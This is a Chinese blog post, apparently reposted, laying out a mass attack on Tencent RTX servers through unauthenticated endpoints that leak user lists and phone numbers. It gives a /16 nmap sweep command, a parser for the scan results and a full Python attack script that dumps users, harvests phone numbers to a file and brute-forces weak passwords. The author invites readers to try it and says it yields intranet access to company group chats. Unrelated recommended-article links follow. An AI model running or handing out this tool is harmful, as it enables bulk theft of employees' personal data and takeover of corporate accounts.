腾讯通RTX(Real Time eXchange)是腾讯公司推出的企业级实时通信平台.

rtx server 存在暴露用户信息的漏洞,通过web访问

http://RtxServerIp:8012/userlist.php #泄漏公司所有rtx用户
http://RtxServerIp:8012/getmobile.cgi?receiver= #泄漏用户手机号
http://RtxServerIp:8012/check.php #验证弱口令

脚本化攻击思路:

  1. sudo nmap -sS -T4 -Pn -p8012 xxx.xxx.xxx.0/16 -oX out.xml nmap 扫描大网段以基数来填补精度的不足,然后我们得到一个开着nmap扫描的out.xml文
  2. 分析out.xml文件提取开放8012端口的ip
  3. rtx攻击脚本处理这些ip,探测弱口令

步骤2 分析nmap结果的脚本xml.py

#!/usr/bin/env python
#-*- coding= utf-8 -*-
import xml.etree.ElementTree as ET tree = ET.parse("out.xml")
doc = tree.getroot()
for x in doc:
if x.tag == 'host':
xlist = x.getchildren()
ports = xlist[3]
port = ports.getchildren()[0]
state = port.getchildren()[0]
if state.get('state') == 'open':
print xlist[1].get('addr')

步骤3 rtx server attack 脚本

#!/usr/bin/env python
#-*-coding=utf-8-*-
# date : 2013.12.16
# author : l137
# rtx hack import threading
import urllib
import re
import sys
import getopt
import json
import threading
import httplib
import time def usage():
print '''
Usage : ./f.py -u target_ip
-h Show this page!
''' class postThread(threading.Thread): def __init__(self, data):
threading.Thread.__init__(self)
self.data = data
def run(self):
for x in self.data:
try:
print self.data
except Exception, e:
print e class rtx(object):
'rtx attacker class'
ip = '' data = '' port = '' fullData = '' def __init__(self, ip):
if self.checkIp(ip):
self.ip = ip
url = "http://"+ip+":"+self.port+"/userlist.php"
try:
content = urllib.urlopen(url).read()
self.data = json.loads(content)
except (IOError,ValueError),e:
print "\033[1;31m"+self.ip+"\33[0m is not vulnerable!"
sys.exit()
self.checkVulnerable()
#print self.data
self.checkPhone()
self.bruteforce()
else:
print " ______________"
print " \033[07m are you kidding me? \033[27m "
print " \ "
print " \ \033[1;31m,__,\033[1;m "
print " \ \033[1;31m(\033[1;moo\033[1;31m)____\033[1;m "
print " \033[1;31m(__) )\ \033[1;m "
print " \033[1;31m ||--|| \033[1;m\033[05m*\033[25m\033[1;m [ l137 | lietdai@gmail.com ]\r\n\r\n" @staticmethod
def checkIp(ip):
pattern = r"\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b"
if re.match(pattern, ip):
return True
else:
return False def checkVulnerable(self):
print "\033[1;31m Oh...I got something!!"
print " Please wait a bit....."
#for x in range(len(self.data)):
# print self.data[x]
print " "+str(len(self.data))+" records was found!! \033[0m" def checkPhone(self):
print "\033[1;31m Now check phone number in records.....\033[0m"
url = "http://"+self.ip+":"+self.port+"/getmobile.cgi?receiver="
output = file('out.txt','w')
for x in xrange(0,len(self.data)):
url2 = url + self.data[x]['name']
self.data[x]['phone'] = urllib.urlopen(url2).read()
try:
output.write(str(self.data[x]['id'])+'\t'+self.data[x]['name']+'\t'+self.data[x]['phone']+'\n')
print self.data[x]
except Exception,e:
print e
output.close()
print "\033[1;31m put the records int out.txt\033[0m"
#print self.data def bruteforce(self):
print "\033[1;31m Brute force starting...."
num = raw_input(" Please input the number of threads for brute force(default 10) : ")
print " And it will take a little time ...\033[0m"
if num == '':
num = 10
else :
try :
num = int(num)
except ValueError,e:
print e
sys.exit()
if (num < 1) or (num > 15):
print "threads must in 1-15"
sys.exit() threads = [];
block = len(self.data)/num
for i in xrange(0, num):
if i == num-1:
data = self.data[block*i:]
else:
data = self.data[i*block:(i+1)*block]
t = threading.Thread(target=self.fwork, args = (self.port, self.ip, data))
threads.append(t)
for i in threads:
i.start() @staticmethod
def fwork(port,ip,b):
for x in xrange(0,len(b)):
dicts = ['','','qweasd','','','','qusiba','']
#dicts.append(b[x]['phone'])
dicts.append(b[x]['name'])
for x in dicts:
httpClient = None
try:
name = dicts[-1]
postData = urllib.urlencode({'user':name,'pwd':x})
headers = {"Content-type":"application/x-www-form-urlencoded", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"};
httpClient = httplib.HTTPConnection(ip, port, timeout=30)
httpClient.request("POST", "/check.php", postData, headers)
response = httpClient.getresponse()
responseHeader = response.getheaders()
if responseHeader[1][1] == '':
print name,x
except Exception, e:
print e
finally:
httpClient.close()
def getWeakPass(self):
file_ob = open("password.txt")
try:
list_file = file_ob.readlines()
finally:
file_ob.close()
for x in list_file:
self.dists.append(x.strip('\n')) def main():
try:
opts, args = getopt.getopt(sys.argv[1:], "u:h", ["help"])
except getopt.GetoptError:
usage()
sys.exit()
for o,a in opts:
if o in ("-h", "--help"):
usage()
elif o == "-u":
r = rtx(a)
else :
usage()
if len(opts) == 0:
usage() if __name__ == "__main__" :
main()

这里会获取很多很重要公司的员工rtx帐号,进入内网后可以窃取群聊内容.大家自己试试就行...

截图:

964条记录

参考:

http://www.wooyun.org/bugs/wooyun-2010-013290

rtx信息泄漏利结合弱口令导致被批量社工思路的更多相关文章

  1. Bugku-CTF社工篇之简单的个人信息收集

  2. snmp弱口令引起的信息泄漏

    0x00 snmp协议简介 snmp协议即简单网络管理协议(SNMP,Simple Network Management Protocol).目前一共有3个版本:V1,V2c,V3.V3是最新的版本, ...

  3. 全国职业技能大赛信息安全管理与评估-第三阶段-弱口令自动爆破+读取Flag脚本

    自动爆破SSH弱口令+读取Flag #coding=utf-8 import paramiko sshc = paramiko.SSHClient() sshc.set_missing_host_ke ...

  4. CTF之信息泄漏

    web源码泄漏 .hg源码泄漏: 漏洞成因:hg  init的时候会生成.hg,http://www.xx.com/.hg/, 工具:dvcs-ripper,(rip-hg.pl -v -u http ...

  5. snmp默认团体名/弱口令漏洞及安全加固

    0x00基础知识 简单网络管理协议(SNMP)被广泛用于计算机操作系统设备.网络设备等领域监测连接到网络上的设备是否有任何引起管理上关注的情况.在运行SNMP服务的设备上,若管理员配置不当运行默认团体 ...

  6. Python Telnet弱口令爆破脚本及遇到的错误与问题

    写得时候遇到了一个很大的问题,就是我在发送用户名,接受用户名就会一直卡住.然后等了好久后提示 recv ‘\r\nSession timed out.\r\n\r\nTelnet Server has ...

  7. 甲方安全建设之office365邮箱弱口令检测

    甲方安全建设之office365邮箱弱口令检测 信息收集 资产范围 资产列表总数是521 抓包后发现只有102 一番测试之后发现控制Response的关键在于MaxEntriesReturned字段, ...

  8. weblogic系列漏洞整理 -- 2. weblogic弱口令

    目录 二. weblogic弱口令 0. 思路 1. python爆破脚本 2. 技巧 一.weblogic安装 http://www.cnblogs.com/0x4D75/p/8916428.htm ...

  9. python实现FTP弱口令扫描器与简单端口扫描器

    python实现FTP弱口令扫描器与简单端口扫描器 目录 FTP弱口令扫描器 简单端口扫描器 参考: https://blog.csdn.net/rebelqsp/article/details/22 ...

随机推荐

  1. Java异常的一个小知识

    有以下两个代码: package com.lk.A; public class Test3 { public static void main(String[] args) { try { int a ...

  2. unity中js脚本与c#脚本互相调用

    unity中js脚本与c#脚本互相调用   test1.js function OnGUI() { if(GUI.Button(Rect(25,25,100,30),"JS Call CS& ...

  3. Java学习笔记——字符串常用函数

    class JavaTest4_String { public static void main(String[] args) { String str1 = "IOS,ANDROID,BB ...

  4. (转)内网网站发布到外网-nat123动态公网IP动态域名解析

    环境描述: 路由器分配的是动态公网IP,且有路由器登录管理权限,网站服务器部署在路由器内部网络.如何将内网网站发布到外网大众访问? 解决方案: 内网使用nat123动态域名解析,将域名实时固定解析到路 ...

  5. Pascal 语言中字符与字符串

    [题目]输入一段文章(255个字符以内),求文章中单词的个数,相同单词只记一次,The 和 the 视作相同. [敲代码] //网友代码 var article,w:string; arr:array ...

  6. web前端开发学习指南(大群主推荐)

    http://www.ituring.com.cn/book/1140 http://www.ituring.com.cn/book/1361

  7. sublime text配置

    安装Package Control: 按”Ctrl”+”`”,在输入框中输入以下代码 Sublime Text3: import urllib.request,os,hashlib; h = '291 ...

  8. 了解ASP.NET MVC几种ActionResult的本质:HttpStatusCodeResult & RedirectResult/RedirectToRouteResult

    在本系列的最后一篇,我们来讨论最后三个ActionResult:HttpStatusCodeResult.RedirectResult和RedirectToRouteResult .第一个用于实现针对 ...

  9. AsyncTask实现的原理和适用的优缺点

    AsyncTask,是android提供的轻量级的异步类,可以直接继承AsyncTask,在类中实现异步操作,并提供接口反馈当前异步执行的程度(可以通过接口实现UI进度更新),最后反馈执行的结果给UI ...

  10. AJAX之JSON

    AJAX=Asynchronous JavaScript and XML(异步的JavaScript 和XML). AJAX不是新的编程语言,而是一种是用现代标准的新方法,用于创建快速动态网页的技术. ...